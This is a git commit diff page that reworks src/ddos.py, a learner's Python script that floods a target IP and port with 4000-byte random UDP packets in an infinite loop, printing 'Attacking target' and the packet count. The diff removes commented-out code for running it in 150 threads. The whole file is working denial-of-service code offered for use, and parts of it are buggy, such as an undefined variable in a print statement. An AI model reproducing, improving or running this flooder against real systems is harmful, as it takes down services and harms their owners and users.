Create new branch to simplify things
This commit is contained in:
parent
904ec77932
commit
9ece63b941
1 changed files with 40 additions and 54 deletions
74
src/ddos.py
74
src/ddos.py
|
@ -1,9 +1,9 @@
|
|||
import os
|
||||
import os, sys, socket
|
||||
import platform
|
||||
import random
|
||||
from datetime import datetime as dt
|
||||
|
||||
# import threading
|
||||
import socket
|
||||
os.system('figlet Simple DDoS | lolcat')
|
||||
|
||||
# TODO: Read docs on time, os, random, threading, and platform
|
||||
# TODO: Take questions to Mastodon
|
||||
|
@ -17,9 +17,10 @@ G = '\033[32m'
|
|||
C = '\033[36m'
|
||||
W = '\033[0m'
|
||||
|
||||
|
||||
# v1: just create ddos script
|
||||
|
||||
# Instead of using SOCK_STREAM for TCP connections
|
||||
# Instead ofusing SOCK_STREAM for TCP connections
|
||||
# using SOCK_DGRAM for UDP connections to keep packets small
|
||||
# If iterating on this, will use SOCK_STREAM to send bigger packets if I actually understand
|
||||
# what that means for the network being hit
|
||||
|
@ -29,51 +30,41 @@ W = '\033[0m'
|
|||
|
||||
# TODO: research ipv6
|
||||
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
|
||||
bytes1 = random.randbytes(2000)
|
||||
bytes2 = random.randbytes(2900)
|
||||
system = platform.uname().system
|
||||
|
||||
|
||||
# this is better system = getattr(platform.uname(), "system")
|
||||
# instead of hardcoding a specific index
|
||||
# because if something in the l
|
||||
|
||||
|
||||
def check_os():
|
||||
if system == 'Windows':
|
||||
os.system("cls")
|
||||
elif system == 'Unix':
|
||||
os.system("clear")
|
||||
|
||||
|
||||
class DDoS:
|
||||
pass
|
||||
|
||||
def __init__(self, target, port, ip):
|
||||
self.target = target
|
||||
self.port = port
|
||||
self.ip = ip
|
||||
|
||||
|
||||
# call function to check what system is used
|
||||
|
||||
|
||||
# Why use a try
|
||||
|
||||
def ddos(target, port, ipaddress):
|
||||
def ddos(target, port):
|
||||
sent = 0
|
||||
try:
|
||||
while True:
|
||||
sock.sendto(bytes1, (target, port))
|
||||
sent = sent + 1
|
||||
if len(sys.argv) == 3:
|
||||
socket.gethostbyname(sys.argv[1]) # create string from IPv4 to pass as argument to sentto
|
||||
else:
|
||||
print('\n' + R + '[!]' + R + 'Invalid amount of arguments')
|
||||
print('\n' + 'Syntax: python3 ddos.py <ip> <port>')
|
||||
|
||||
print("Sending %s packets to %s through port:%s" % (sent, ipaddress, port))
|
||||
print("-" * 25)
|
||||
print("Attacking target:" + target)
|
||||
print("Time started:" + str(dt.now()))
|
||||
|
||||
try:
|
||||
# create an infinite loop to continuously send junk data
|
||||
# to target ip
|
||||
while True:
|
||||
sock.sendto(bytes2, (target, port))
|
||||
# Create a new socket
|
||||
# assign socket to s
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
|
||||
# create a variable that will send 4000 random bytes
|
||||
|
||||
bytes1 = random.randbytes(4000)
|
||||
# bytes2 = random.randbytes(4000)
|
||||
# system = platform.uname().system
|
||||
|
||||
# send 4000 random bytes to the target on port passed as arg
|
||||
s.sendto(bytes1, (target, port))
|
||||
sent = sent + 1
|
||||
print("Sending %s packets to %s through port:%s" % (sent, ipaddress, port))
|
||||
|
||||
# Break out of infinite loop
|
||||
|
||||
|
@ -88,8 +79,3 @@ def ddos(target, port, ipaddress):
|
|||
print(R + '[-] ' + C + 'Unknown address.')
|
||||
print(R + '[-] ' + C + 'Please input the correct ip address.')
|
||||
|
||||
# For introducing to the script later
|
||||
|
||||
# for i in range(150):
|
||||
# thread = threading.Thread(target=ddos)
|
||||
# thread.start()
|
||||
|
|
Loading…
Reference in a new issue